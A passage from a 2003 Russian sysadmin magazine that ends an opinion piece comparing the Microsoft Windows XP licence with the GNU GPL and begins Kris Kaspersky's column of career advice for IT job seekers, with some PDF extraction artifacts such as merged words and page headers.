можетоказаться заминированной, причём взрыватель навсег-да остаётся в руках её производителя. Та же самая ситу-ация наблюдается и с программными закладками в зак-рытом коде ожидающими часа «X». Закладки без проблеммогут быть встроены и найти их в разумное время разум-ными средствами может не представляться возможным.

Microsoft: «Настоящее лицензионное соглашение непредоставляет вам никаких прав на использование вклю-ченных в продукт компонентов пакета средств разработ-ки Windows Media Format Software Development Kit».

В общем, если вы надумали что-то там написать и выпрограммист, то вам сразу обстригут крылья, отослав ещёк одной лицензии на английском языке. Много ли програм-мистов делают это?

Microsoft: «Передача третьим лицам. Первоначальныйпользователь продукта имеет право единовременной пе-редачи его другому лицу».

Вася продал свой продукт Пете, а Петя решил его по-дарить Ане. Но, увы, поздравить Аню с днём рожденияПете не удастся без нарушения лицензионного соглаше-ния. Оно, может, и к лучшему, так как Аня поставит себетогда GPL/Linux. Так что в этом пункте есть плюсы.

Microsoft: «Запрет на передачу во временное пользо-вание. Запрещается предоставлять продукт в прокат, варенду, во временное пользование и использовать про-дукт для оказания третьим лицам сетевых услуг на ком-мерческой основе».

Вы хотите вести сетевой биллинг и брать деньги? Выхотите поставить компьютер в интернет-кафе? Нет, вы неможете этого сделать!

Page 85: 010 Системный Администратор 09 2003

83№9(10), сентябрь 2003

образование

Microsoft: «Ограничение на вскрытие технологии идекомпиляцию. Запрещается вскрывать технологию илидекомпилировать продукт за исключением случая и толь-ко в той степени, когда такие действия явно разрешеныприменимым законодательством, несмотря на наличие влицензионном соглашении данного ограничения».

Если вы не работаете в бывшем ФАПСИ и вас заста-вили декомпилировать, то будучи программистом высо-кого класса, вам обрубают крылья и сообщают, что вашидействия по исследованию кода незаконны. Будьте доб-ры купить кота в мешке и не дай Бог вы откроете этотмешок и увидите, что там не кот, а дикобраз. Если выоткрыли какой-то файл и посмотрели его в hiew в режимеasm, то вы злостный нарушитель! Не дай Бог ещё на ва-шем компьютере найдут какой-нибудь sourcer, IDA, SoftIceи другие программы, используемые вами, и вы не сможе-те объяснить, что вы ими просматривали свои програм-мы, а не лицензированный продукт. А если вы сетевойадминистратор по вопросам безопасности в какой-тофирме, то, увы, у меня к вам вопрос, а как вы получаетезарплату, если вы даже теоретически не сможете дока-зать безопасность чёрного ящика в виде продуктовMicrosoft?

Microsoft: «Расторжение соглашения. Без ущерба длякаких-либо иных прав корпорация Майкрософт вправепрекратить действие настоящего лицензионного соглаше-ния при несоблюдении вами его положений и условий. Вэтом случае вы обязаны уничтожить все имеющиеся у васкопии продукта и всех его составных частей».

Если вы мелко ошиблись и нарушили, то вас могутзаставить больше не пользоваться продуктом. Не оченьясно, что в этом случае в теории делать – покупать новыйи с ним уже не наступать на грабли повторно?

Microsoft: «Разрешение на использование данных. Высоглашаетесь с тем, что корпорация Майкрософт и её аф-филированные лица вправе собирать и использовать тех-нические сведения, полученные любым способом в ходевашего обращения за услугами по технической поддерж-ке, если таковые предоставляются, по поводу продукта».

Они заберут у вас технические сведения, однако чтопод этим понимать, очень сложно сказать. По этой фор-мулировке они могут даже серийный номер из процессо-ра считать, и где тогда анонимность?

Microsoft: «Корпорация Майкрософт вправе исполь-зовать эти сведения исключительно для совершенство-вания своих продуктов или для предоставления вам спе-циальных услуг и технологий».

Что за специальные услуги и технологии – не ясно. Илина более быстром компьютере будет иметься возможностьудалённого более быстрого форматирования винчестера?

Microsoft: «Корпорация Майкрософт вправе предос-тавлять эти сведения третьим лицам в форме, не раскры-вающей вас лично».

Они дадут две не раскрывающие вас выборки, изпересечения которых вас вычислят, и никто ничего ненарушит.

Microsoft: «Игры и средства обновления в Интернете.Обязательным условием использования в продукте игро-вых возможностей и средств обновления в Интернете яв-

ляется предоставление определенных сведений о компь-ютере, аппаратных средствах и программном обеспече-нии, необходимых для работы этих средств».

Хотите печатать конфиденциальные сведения и иг-рать – заведите два компьютера!

Microsoft: «Используя эти средства, вы тем самымявно разрешаете корпорации Майкрософт или её пол-номочному представителю осуществлять доступ и ис-пользование сведений, необходимых для работы игро-вых средств и/или средств обновления в Интернете. Кор-порация Майкрософт вправе использовать эти сведенияисключительно для совершенствования своих продуктовили для предоставления вам специальных услуг и тех-нологий».

Для совершенствования работы какой-то игры можетпонадобиться установка какой-то функции/библиотеки/программы, которая будет присутствовать и может зара-ботать уже после того, как игра будет удалена.

Microsoft: «Компоненты служб в Интернете. Продуктсодержит компоненты, обеспечивающие использованиеи упрощающие доступ к некоторым службам в Интерне-те. Вы признаете и соглашаетесь с тем, что корпорацияМайкрософт имеет право выполнять автоматическую про-верку версии продукта и/или его компонентов, которымивы пользуетесь, а также имеет право обновлять или ис-правлять продукт путём автоматической загрузки соот-ветствующего программного обеспечения на вашу рабо-чую станцию».

В общем, вы проверили компьютер, далее начали ра-ботать, подключились к Интернету, у вас проверили вер-сию и залили вам без вашего ведома вредоносный софтлибо полезный софт с закладками в виде случайных оши-бок или ещё как-то. Даже если у вас ничего нет секретно-го, то в случае выделенного подключения к Интернету соплатой трафика вы будете платить деньги. Вы к этомуготовы, что вам придётся скачать на лишнюю сотню мет-ров обновлений? Причём обновляться они могут по не-скольку раз на дню. Как вам такая финансовая ситуация?Трояны и хакеры отдыхают.

Microsoft: «Исправления системы безопасности».Этот пункт для меня вообще остался серым лесом. Я

так и не понял его нужность конечному пользователю.Microsoft: «Экспортные ограничения. Вы признаёте,

что данный продукт произведен в США и попадает поддействие установленных в США экспортных ограниче-ний».

Это вам грозит тем, что у вас будет более слабая крип-тография и АНБ США будет слушать вас и читать вашисообщения при желании. Для игр это не важно, а вот бан-киры и сотрудники государственных учреждений должнызадуматься над этим пунктом.

Microsoft: «Отказ от предоставления гарантий. Упо-мянутая ниже ограниченная гарантия является единствен-ной предоставляемой вам явной гарантией, заменяющейлюбые другие явные гарантии (если таковые имелись),приведенные в какой-либо документации, на упаковке илипредоставленные иным образом. За исключением дан-ной ограниченной гарантии и в наибольшей степени, раз-решенной применимым законодательством, корпорация

Page 86: 010 Системный Администратор 09 2003

84

образование

Майкрософт и её поставщики предоставляют продукт и(если таковые предоставляются) услуги по техническойподдержке на условиях «как есть», со всеми неисправно-стями, и отказываются от предоставления каких-либодругих явных, подразумеваемых или предусмотренных за-конодательством гарантий и условий, включая (но не ог-раничиваясь только ими) отказ от подразумеваемой га-рантии, обязательств или условий пригодности для про-дажи и применимости для определенной цели, надежно-сти или доступности, точности или полноты ответов илирезультатов работы, гарантии высокого качества испол-нения, отсутствия вирусов, отсутствия небрежности приизготовлении продукта, а также предоставления или не-предоставления технической поддержки или иных услуг,сведений, программного обеспечения и содержимого врезультате или в связи с использованием продукта. Кро-ме того, по отношению к данному продукту не обуславли-ваются и не предоставляются гарантии права собствен-ности, спокойного владения и пользования, соответствияописанию или ненарушения прав на интеллектуальнуюсобственность».

В общем, ни за что они не отвечают, и «как есть» –единственная форма поставки со всеми неисправностя-ми. То есть из этой формулировки следует, что неисправ-ности заведомо есть. То есть через некоторое время ждитеновых версий и обновлений. Что-то и за деньги. Вы про-сто вчитайтесь и вдумайтесь. Даже документация можетописывать другие продукты или скрывать недокументи-рованные функции.

Microsoft: «Исключение случайного, косвенного ииных определенных видов ущерба. В наибольшей сте-пени, допускаемой применимым законодательством, нипри каких обстоятельствах корпорация майкрософт и еёпоставщики не несут ответственности за какой-либо осо-бый или случайный ущерб, штрафные убытки, косвен-ный или опосредованный ущерб или убытки (включая,но не ограничиваясь только перечисленным, упущеннуювыгоду, утрату конфиденциальной или иной информа-ции, убытки, вызванные перерывами в коммерческой илипроизводственной деятельности, нанесение ущерба здо-ровью, нарушение неприкосновенности частной жизни,неисполнение любого обязательства, включая обяза-тельство действовать добросовестно и с разумной ос-мотрительностью, убытки, вызванные небрежностью,любой иной ущерб и прочие убытки имущественного илииного характера), возникающие в связи с использова-нием или невозможностью использования продукта, илипредоставлением или непредоставлением услуг по под-держке или иных услуг, сведений, программного обес-печения и содержимого в результате или в связи с ис-пользованием продукта, или в иных случаях, предусмот-ренных или связанных с положениями данного лицензи-онного соглашения, даже в случае вины, гражданскогоправонарушения (включая небрежность), строгой ответ-ственности, нарушения корпорацией майкрософт или еёпоставщиками договорных или гарантийных обяза-тельств, даже если корпорация майкрософт или её по-ставщики были заранее извещены о возможности тако-го ущерба».

А здесь мы видим, что если кто-то умер по вине опе-рационной системы, то никто отвечать за это не будет,даже всё прописными буквами выделили, на случай еслипользователь не заметит этот важный пункт. См. [9], гдеАлександр Слуцкий говорит: «И сейчас подобные компь-ютеры везде. Вон последняя 745-я серия машин «БМВ».Это первая машина, которая не имеет ни одной физичес-кой связи водителя с механизмом. Всё управляется че-рез электронику. ... Управляется машина под операцион-ной системой «Виндоус СЕ», установленной в бортовомкомпьютере». У вас упал сервер – это ваши проблемы.Надо было раньше думать, какую операционную системуи какой фирмы использовать.

Microsoft: «Ограничение ответственности и разме-ра возмещения ущерба. Независимо от характера ипричин причиненного вам ущерба или понесенных убыт-ков (включая все без исключения перечисленные вышеслучаи ущерба и/или убытков, а также любые прямыеили общие ущерб и/или убытки), максимальный размерответственности корпорации Майкрософт или любогоее поставщика по любому из положений настоящего ли-цензионного соглашения, и размер причитающейся вамкомпенсации (за исключением компенсации в виде ре-монта или замены продукта, предоставляемой по вы-бору корпорацией Майкрософт в связи с нарушениемограниченной гарантии) не может превысить большейиз следующих сумм: суммы, фактически уплаченнойвами при приобретении продукта, или суммы в разме-ре пяти долларов США».

Конечно, они не могут отдуваться за весь мир, они,так и быть, могут забрать продукт у вас, вернув немногоденег, или пожертвовать вам суммой в размере пяти дол-ларов США.

Теперь давайте посмотрим на GNU GENERAL PUBLICLICENSE.

Вы можете делиться программой с друзьями.GNU: «Лицензиат вправе изготовлять и распростра-

нять экземпляры исходного текста Программы в том виде,в каком он его получил, без внесения в него измененийна любом носителе, при соблюдении следующих условий:на каждом экземпляре помещён знак охраны авторскогоправа и уведомление об отсутствии гарантий; оставленыбез изменений все уведомления, относящиеся к настоя-щей Лицензии и отсутствию гарантий; вместе с экземп-ляром Программы приобретателю передаётся копия на-стоящей Лицензии».

Вы можете получать деньги за копирование и зараба-тывать деньги на том, что будете обслуживать чужие про-граммы.

GNU: «Лицензиат вправе взимать плату за передачуэкземпляра Программы, а также вправе за плату оказы-вать услуги по гарантийной поддержке Программы».

Вы можете изменять продукт и продавать его в изме-нённом виде при соблюдении условий лицензии в томпункте, чтобы ваши ошибки не приписывали к тому про-дукту, что был до внесения вами изменений. Это защи-та от того, чтобы вы не ухудшали качество продукта илиесли и ухудшили, то страдала бы от этого только вашарепутация.

Page 87: 010 Системный Администратор 09 2003

85№9(10), сентябрь 2003

образование

К любому продукту должен быть исходный код.GNU: «Например, если вы распространяете экземпля-

ры такого программного обеспечения за плату или бес-платно, вы обязаны передать новым обладателям всеправа в том же объёме, в каком они принадлежат вам.Вы обязаны обеспечить получение новыми обладателя-ми программы её исходного текста или возможность егополучить. Вы также обязаны ознакомить их с условияминастоящей Лицензии».

GNU: «Под исходным текстом произведения понима-ется такая форма произведения, которая наиболее удоб-на для внесения изменений».

Как вам такая формулировка против ограничения надекомпиляцию и так не очень понятных человеку машин-ных кодов?

GNU: «В случае если произведение в виде объект-ного кода или в исполняемой форме распространяетсяпутем предоставления доступа для копирования его изопределённого места, обеспечение равноценного дос-тупа для копирования исходного текста из этого жеместа удовлетворяет требованиям распространения ис-ходного текста, даже если третьи лица при этом не обя-заны копировать исходный текст вместе с объектнымкодом произведения».

Если вы не программист или не хотите изменить чего-то в программе, то вас не обязывают скачивать исходныйкод и не обязывают его получать. Это как соль на столе,когда вы можете посолить по вкусу сами, а не когда завас это делает повар.

GNU: «Каждой версии присваивается свой собствен-ный номер. Если указано, что Программа распростра-няется в соответствии с определённой версией, т.е. ука-зан её номер, или любой более поздней версией насто-ящей Лицензии, лицензиат вправе присоединиться клюбой из этих версий Лицензии, опубликованных FreeSoftware Foundation. Если Программа не содержит та-кого указания на номер версии Лицензии лицензиатвправе присоединиться к любой из версий Лицензии,опубликованных когда-либо Free Software Foundation(http://www.fsf.org)».

С версиями и модификациями тоже внесена ясность.GNU: «Отсутствие гарантийных обязательств. По-

скольку настоящая программа распространяется бесплат-но, гарантии на неё не предоставляются в той степени, вкакой это допускается применимым правом. Настоящаяпрограмма поставляется на условиях «как есть». Еслииное не указано в письменной форме, автор и/или инойправообладатель не принимает на себя никаких гаран-тийных обязательств, как явно выраженных, так и подра-зумеваемых, в отношении программы, в том числе под-разумеваемую гарантию товарного состояния при прода-же и пригодности для использования в конкретных целях,а также любые иные гарантии. Все риски, связанные скачеством и производительностью программы, несет ли-цензиат. В случае если в программе будут обнаруженынедостатки, все расходы, связанные с техническим об-служиванием, ремонтом или исправлением программы,несет лицензиат».

Тут мы тоже видим, что продукт поставляется «как

есть», однако это не мешает вам написать автору про-дукта и попросить у него помощи. Также это не мешаетсоздавать форумы, где можно обсуждать те или иные про-блемы продуктов, и также вы можете пользоваться услу-гами третьих лиц, которые безвозмездно или за платупредложили вам помочь.

В конце можно заключить, что наиболее выгодной яв-ляется лицензия GNU GENERAL PUBLIC LICENSE, так какона предоставляет больше прав программистам, не ог-раничивает их в своих правах. Она также не ограничива-ет людей, далёких от программирования и не лишает ихвозможности получения помощи. Также никому не запре-щается осуществлять помощь и гарантийное обслужива-ние чужих продуктов. Подобно тому, как вы можете чи-нить свой автомобиль в любом понравившемся вам сер-висе или помогать в починке другим. Вы можете раскру-тить свой автомобиль по гаечкам и заглянуть к нему подкапот, и это даёт обязательная возможность получениявами исходных текстов бесплатно или за разумную пла-ту, необходимую для доставки.

Вы можете вносить изменения в продукты и никто небудет с вас спрашивать, на каком компьютере вы его за-пускаете. Вас не будут просить передавать какие-либосведения кому-либо. Вас не могут явно заставить прекра-тить использовать какой-то продукт, если вы что-то нару-шили. Вас никто не заставит покупать много копий илимного лицензий. Вы можете установить приобретённыйвами или бесплатно переписанный экземпляр какой-топрограммы или операционной системы где угодно и сколь-ко угодно раз. Вас никто не будет ограничивать в количе-стве подключений к вашему серверу. Вы можете делатьвсё что угодно с программными продуктами. Программ-ные продукты предоставляются вам в удобной для изме-нения форме. Всё сделано людьми для людей.

Массовый переход на использование продуктов с от-крытым кодом значительно упростил бы жизнь. И увере-ния Miscrosoft, что некому будет адаптировать программ-ные продукты для конкретных нужд какой-нибудь органи-зации, сильно схожи с завышенным самомнением.

Очень смущает на фоне всего этого заключение со-глашения между бывшим ФАПСИ и Microsoft, которые ре-шили предоставить на просмотр исходный код через спе-цифический редактор, якобы улучшающий возможностипросматривающего. [8] (А может, и скрывающий кускикода?) Да и зачем ехать в штабквартиру для просмотраособых кусков кода? Не проще ли остановить свой выборна продуктах под GPL, где исходный код уже сразу от-крыт и нет смысла носить воду в решете.

Привычка людей – это большой подводный камень и,пожалуй, единственная вещь, которая заставляет людейделать неправильный выбор. Наиболее уместна в завер-шение будет пословица «Кто платит, тот и заказываетмузыку», и здравого смысла в этом нет и не может быть,пока нас с вами окружают материалисты, целью которыхстоит личностное обогащение за счёт других. «Возьми отжизни всё!», так и просится дописать: «Не можешь взятьумом – отбери у соседа силой». Разве что сосед тоже недремлет и отнимет первым.

Page 88: 010 Системный Администратор 09 2003

86

образование

Литература:

1. Николо Макиавелли. Государь. – М.:ЭКСМО-Пресс;Харьков: Фолио, 1998.

2. Марк Митчел, Джеффри Оулдем, Алекс Самьюэл. Про-граммирование для Linux. Профессиональный подход.:Пер.с англ. – М.: Издательский дом «Вильямс», 2002.

3. GNU’s Not Unix! – the GNU Project and the Free SoftwareFoundation (FSF): http://www.gnu.org/. Текст лицензии:http://www.gnu.org/copyleft/gpl.html

4. Неофициальный перевод Елены Тяпкиной на русскийязык GENERAL PUBLIC LICENSE GNU: http://linux.yaroslavl.ru/docs/about/license/gplrus.html

5. Перевод Сергея Середы на русский язык GENERALPUBLIC LICENSE GNU: http://consumer.nm.ru/gpl_ru.htm

6. Примеры лицензионных соглашений Microsoft с конеч-ным пользователем (EULA): http://www.microsoft.com/rus/licensing/general/examples/

7. Лицензионное соглашение Microsoft Windows XP HomeEdition: http://www.microsoft.com/rus/licensing/general/examples/winxphome_box.asp

8. State Applauds Open Windows by Larisa Naumenko//TheMoscow Times No.2602 Wendesday, January 22, 2003,p.9.

9. Дмитрий Аксёнов. Киберкоп, или Конец виртуальногомира//Системный администратор №1(2) январь 2003 г. –С. 57.

10.«This Chip Will Explode in 5 Seconds»: Imagining the UsesTHE NEW YORK TIMES February 14, 2002 By IANAUSTEN, http://physicalsciences.ucsd.edu/news_articles/missionimpossible.htm

11.«Телефон-граната» //Ломоносов вместе с NewScientist,№3, сентябрь 2002 г. – С.17.

12.The Open Source Definition http://www.opensource.org/docs/definition_plain.html

13.Соглашение OpenSource//Джек Такет(мл.), Стив Бар-нет Использование Linux. Специальное издание.:5-еизд.:Пер. с англ.: Уч.пос. - М.: Издательский дом «Ви-льямс», 2000 г. – С.765-767.

14.Руководящий документ Гостехкомиссии при президен-те РФ «Средства вычислительной техники. Межсете-вые экраны. Защита от несанкционированного досту-па к информации. Показатели защищенности от не-санкционированного доступа к информации». http://aker.alpha.ru/Certif/RD_FW.html

15.Руководящий документ Гостехкомиссии при президен-те РФ «Автоматизированные системы. Защита от не-санкционированного доступа к информации. Класси-фикация автоматизированных систем и требования позащите информации». http://www.security.lanit.ru/lib/rd1.html

16.Department Of Defense Trusted Computer System EvaluationCriteria(«Orange book»), December, 1985. http://www.radium.ncsc.mil/tpep/library/rainbow/5200.28-STD.html

Page 89: 010 Системный Администратор 09 2003
Page 90: 010 Системный Администратор 09 2003

88

IMHO

Относительно рынка труда в Россиисуществует два мнения: пациент скорее жив,чем мертв, и пациент скорее мертв, чем жив.Лично я считаю, что в сфере информационныхтехнологий реализовать свой потенциалв России намного проще, чем во всехостальных странах мира вместе взятых.Недостаток квалифицированной рабочейсилы у нас просто колоссальный,и трудоустроиться в этой обстановке оченьлегко. Правда, в отличие от западных странцивилизованного рынка труда в Россиикак не было, так и нет, и потому механизмытрудоустройства, которые хорошо работают«там», у нас вращаются со скрипом илине вращаются вообще. И, если вам до чертиковнадоело заполнять эти шаблонные резюмеи вы хотите попробовать другие, болеедейственные методы, эта статья для вас!

«Не нужно плыть по течению. Не нужно плыть против«Не нужно плыть по течению. Не нужно плыть против«Не нужно плыть по течению. Не нужно плыть против«Не нужно плыть по течению. Не нужно плыть против«Не нужно плыть по течению. Не нужно плыть противтечения. Нужно плыть ттечения. Нужно плыть ттечения. Нужно плыть ттечения. Нужно плыть ттечения. Нужно плыть туууууда, куда, куда, куда, куда, куда тебе надо»да тебе надо»да тебе надо»да тебе надо»да тебе надо»

К К К К Козьма Пруозьма Пруозьма Пруозьма Пруозьма Пруткткткткткововововов

РЕЦЕПТЫ ПРАВИЛЬНОГОТРУДОУСТРОЙСТВАРЕЦЕПТЫ ПРАВИЛЬНОГОТРУДОУСТРОЙСТВА

КРИС КАСПЕРСКИ

Page 91: 010 Системный Администратор 09 2003

89№9(10), сентябрь 2003

iMHO

Ваши действияпо трудоустройству по шагамБольшинство статей, посвященных трудоустройству, на-чинаются с рекомендаций по правильному заполнениюрезюме и хитростям их размещения на сайтах типаwww.all-jobs.ru. Так вот: все это чушь собачья и слепоеследование американскому шаблонному образцу. Так выничего не найдете, а если и найдете, то лишь благодаряего величеству Счастливому Случаю. Резюме – это пас-сивный способ трудоустройства, и от вас тут действи-тельно очень мало что зависит. Вот активный способ –это другое дело!

Прежде всего уясните себе одну очень простуювещь. Гарантированное трудоустройство обеспечива-ется либо за счет связей, либо за счет ваших профес-сиональных навыков. Ситуацию со связями мы рассмат-ривать не будем, т.к. тут и без нас все предельно ясно,а вот на профессиональных навыках остановимся по-подробнее.

Ингредиент номер один: опытБольшинство молодых людей, устраивающихся на рабо-ту, имеют крайне оптимистичное представление об уров-не своей подготовки и перечисляют длинный список опе-рационных систем и программных пакетов, с которымиони как бы умеют работать. И чем длиннее такой список,тем меньше шансов у его обладателя на скорое трудоус-тройство. Людей, совмещающих блестящие знания базданных с умением проектировать интерфейсы и отлажи-вать драйвера, единицы, и работодатели об этом прекрас-но знают. Подавляющее большинство специалистов уме-ют делать что-то одно, но зато они делают это хорошо.«Специалисты» же, претендующие на обширные и глубо-кие знания в различных областях, в подавляющем боль-шинстве случаев не представляют для нанимателей аб-солютно никакого интереса. Скажите, а вы бы купили те-левизор, совмещенный с холодильником и шагающим эк-скаватором?

Выберите какое-то одно конкретное направление,близкое вам по духу и по теме. Скажем, системный про-граммист может быть по своей натуре человеком нелю-димым и необщительным, поскольку природа системныхкомпонентов такова, что они могут создаваться и в оди-ночку. Прикладной программист уметь работать в коллек-тиве обязан по определению, а системный администра-тор – это, в первую очередь, не столько хороший специа-лист, сколько первоклассный хозяйственник.

Теперь вы должны приложить максимум усилий ктому, чтобы освоить свою специальность до полного не-понимания. Да-да, именно непонимания, ибо в позна-нии есть как минимум три стадии: знаю мало-помалу,знаю все и ничего не знаю. Достижение третьей ста-дии и есть свидетельство того, что вы кое в чем начи-наете разбираться. Важно понять: профессиональныенавыки не могут быть приобретены ни дома, ни в уни-верситете. Лишь на реальной работе, в окружении ре-альных специалистов и в процессе решения реальныхпроблем постигаются азы любых высокотехнологичес-ких профессий.

Итак, задача-минимум: найти фирму, где волею судь-бы в данный конкретный момент собрались очень не-глупые люди, и устроиться туда на любую диктуемую ра-ботодателем зарплату, а то и вовсе бесплатно (это нешутка! Лучше бесплатно получать образование на фир-ме, чем платить деньги за протирание штанов в универ-ситете! Сам автор когда-то так и поступал). Только по-мните, что профессию не получают, а воруют! Здесь пе-дагогов нет и лекции читать никто не будет. Держите всешесть органов своих чувств широко открытыми и все-сторонне анализируйте каждую ситуацию, почему у ва-ших старших товарищей что-то получается, а у вас нет.Причем не пытайтесь вести записи вида «если из про-цессора 248AE идет дым, необходимо подтянуть терми-натор 63-98 к верхнему сигнальному уровню». Подоб-ная информация очень быстро устаревает, и к тому жесуть профессионализма заключается отнюдь не в сум-ме знаний, а в умении при неполноте этих самых знанийбыстро найти наиболее перспективное направление, вкотором надо «копать».

Практика показывает, что любой наугад взятый кол-лектив умных людей не может существовать бесконеч-но долго и очень быстро распадается (почему – не знаю,но наблюдаемый факт), так что очень может статься,что ни одного такого коллектива в пределах вашей до-сягаемости просто не окажется. И что тогда? Тогда –отправляйтесь в ближайший торговый салон и заклю-чайте с ними долгосрочный договор на взятие той илииной аппаратуры напрокат (естественно, за деньги и спредоплатой). Большинство продавцов на это идет срадостью, а вы получаете в свое распоряжение боль-шое количество разношерстного железа. Зачем этонужно? А затем, что без опыта работы с оборудовани-ем вы никогда не станете настоящим специалистом.Чем больше оборудования пройдет через ваши руки, -тем больше у вас накопится опыта по устранению со-путствующих ему проблем и в конце концов разовьет-ся настоящий нюх на неисправности. То же самое ка-сается и программистов (как прикладных, так и систем-ных). Компьютерное железо очень различно, и всякаяконфигурация имеет свои особенности. Программа,заточенная под одно оборудование, на другом можетпросто не пойти, и все это вы должны заранее знать!Если же денег на приобретение оборудования у васнет, устраивайтесь в торговую фирму хотя бы простымсторожем, но с правом доступа к железу.

Из литературы вам потребуется… да, пожалуй, непотребуется ровным счетом ничего, кроме учебника ан-глийского языка и миллионов страниц документации,которую можно свободно скачать из Интернета и рас-печатать. Учебники в стиле «Язык Си++ для начинаю-щих» приносят намного больше вреда, чем пользы изачастую необратимо калечат мышление новичков.Приучайтесь осваивать продукт по его родной докумен-тации, а не по ее исковерканным описаниям сторонни-ми авторами. Да, знаю, это трудно и на первых порахязыковой барьер будет очень мешать (ведь вся доку-ментация сплошь на английском), но другого пути у васпросто нет. Профессионал не может позволить себе

Page 92: 010 Системный Администратор 09 2003

90

IMHO

впасть в зависимость от наличия корректных русскихпереводов. Но не пытайтесь уподобить документациюдогмату – ее ведь люди пишут, и ошибок там… Ничегоне принимайте на веру и все, абсолютно все проверяй-те экспериментально. Разумеется, это не означает, чтовсе, не являющееся документацией, недостойно ваше-го внимания. Напротив! Читайте все, что только под-вернется вам под руку (особенно ту литературу, чтоописывает личный опыт ее автора), активно участвуй-те в сетевых конференциях (опять-таки ничего не при-нимая на веру без предварительной проверки), будьтежадными до информации, как бурундук до желудей.Информация – штука такая, никогда нельзя сказать на-перед: понадобится вам она или нет.

Ингредиент номер два: авторитетХорошо, необходимый опыт у вас уже имеется. Теперьостается добиться того, чтобы об этом узнали все окру-жающие. То есть, говоря другими словами, вам нужноприобрести авторитет. Самое главное – не начать дей-ствовать раньше времени. Первый блин, который, какизвестно, всегда идет комом, может сослужить плохуюслужбу, и у окружающих сложится значительно худшеемнение о вас, чем оно сложилось бы, начни вы заявлять осебе чуточку позже.

Заявлять о себе можно различными путями. Если выпрограммист – напишите несколько хороших программ,вложив в них весь свой опыт и душу, и выложите их воткрытый доступ в Интернет вместе с исходными текста-ми в придачу, так как даже беглый взгляд на последниепозволяет надежно установить приблизительный уровеньвашего профессионализма. Будет просто замечательно,если эти программы дойдут по вашего потенциальногоработодателя своим естественным путем и он окажетсяот них в полном восторге. Считайте, что после этого вы-сокооплачиваемое рабочее место у вас уже в кармане.

Системному администратору наглядно продемонстри-ровать свои таланты намного труднее, однако если этиталанты действительно есть, попробуйте написать не-сколько статей в различные компьютерные журналы, рас-крывающие секреты вашего профессионального мастер-ства. С высокой степенью вероятности вас заметят и пред-ложат работу, если, конечно, вы не сделаете приписки кстатье с пометкой «готов рассмотреть предложения о ра-боте». Наниматели склонны считать, что настоящие про-фессионалы без работы не сидят и, похоже, что они оченьдаже правы.

В сетевых конференциях не кидайтесь в атаку, стре-мясь продемонстрировать свои знания за счет уличенияваших собеседников в невежестве. Во-первых, еще не-известно, чья возьмет (с точки зрения внешнего наблю-дателя, не разбирающегося в технических деталях спо-ра, ошибочные аргументы вашего оппонента зачастуювыглядят более убедительными, нежели бесспорные ис-тины, высказанные вами). Во-вторых, настоящие про-фессионалы в таких склоках практически никогда неучаствуют: нет времени, да и необходимости переубеж-дать заблудших тоже нет. Позвольте одну маленькуюкитайскую притчу:

Цзи Синцзы тренировал бойцового петуха для чжоус-кого царя Сюаньвана. Через десять дней [царь] спросил:

– Готов ли петух к бою?– Еще нет. Пока самонадеян, попусту кичится.Через десять дней [царь] снова задал [тот же] вопрос.– Пока нет. Еще бросается на [каждую] тень, отклика-

ется на [каждый] звук.Через десять дней [царь] снова задал [тот же] вопрос.– Пока нет. Взгляд еще полон ненависти, сила бьет че-

рез край.Через десять дней [царь] снова задал [тот же] вопрос.– Почти [готов]. Не встревожится, пусть даже услышит

[другого] петуха. Взгляни на него – будто вырезан из дере-ва. Полнота его свойств совершенна. На его вызов не по-смеет откликнуться ни один петух – повернется и сбежит.

Существует такое мнение: что сначала человек ра-ботает на авторитет, а затем авторитет работает на че-ловека. Отчасти это действительно так, однако отсюдавовсе не следует, что однажды заработав хороший ав-торитет, можно до конца жизни уже ничего не делать.В сфере информационных технологий все очень быст-ро меняется и старые заслуги здесь быстро списываютв утиль.

Ингредиент номер три:чувство собственного достоинстваКак говорит народная мудрость, любой начальник имеетнад тобой ровно столько власти, столько ты ему даешьвластвовать над собой. В идеале начальник – это ваш то-варищ и полноправный партнер, и его власть чисто ус-ловна. Он имеет право уволить вас или понизить вам зар-плату, а вы имеете право сказать вслух все, что вы о немдумаете, и отправиться восвояси к другому месту рабо-ты. Соответственно начальник не имеет права держатьвас на работе против вашей собственной воли, а вы неимеете права работать на ней, если были уволены. Такчто ваши шансы абсолютно равны. Вы как два гребца,сидящих в одной лодке. Если не будет вас (не в смыслевас лично, а всего рабочего персонала), то начальник сампо себе далеко не уплывет.

Почему начальники бывают злые? Да потому, чтомы готовы работать и у злых начальников. Если вас этолично не устраивает – не позволяйте ему срывать своюзлость на вас. Держитесь независимо и с достоинством.За дело фирмы – болейте. На амбиции начальника –начихать. Умный начальник это сразу поймет и осла-бит давление. Глупый… глупый, конечно, немедленноуволит, ну да не велика потеря. В конечном счете есливы не будете себя уважать, то начальник уважать васуж точно не станет.

Однако ни в коем случае не пытайтесь чем-либо уг-рожать или шантажировать начальника и, уж тем бо-лее категорически недопустимо внедрять деструктив-ные компоненты в систему или так или иначе вреди-тельствовать!

Забавное наблюдение из жизни автора: тех начальни-ков, что он считал хорошими начальниками, большинствоокружающих зачастую считало крайне агрессивными и

Page 93: 010 Системный Администратор 09 2003

91№9(10), сентябрь 2003

iMHO

деспотичными, и, соответственно, наоборот. Отсюда мо-раль: личность начальника – это чистейшей воды абст-ракция. Результат взаимоотношений между двумя людь-ми в равной степени зависит от них обоих.

Стратегия действийв ситуации «выбираете вы»В выборе работы и знакомстве с девушкой есть многообщего. Основной неудачей неопытных любовников яв-ляется то, что, получив категоричный отказ, они автома-тически переключаются на другого партнера, и так про-исходит до тех пор, пока им не «повезет». Только везениеэто довольно относительное (отсюда и кавычки). Дамасердца, ответившая первому встречному «да», навряд лиокажется хорошей спутницей жизни, и уж точно не самойлучшей, какую мог наш кавалер завоевать, будь он не-много понастойчивее.

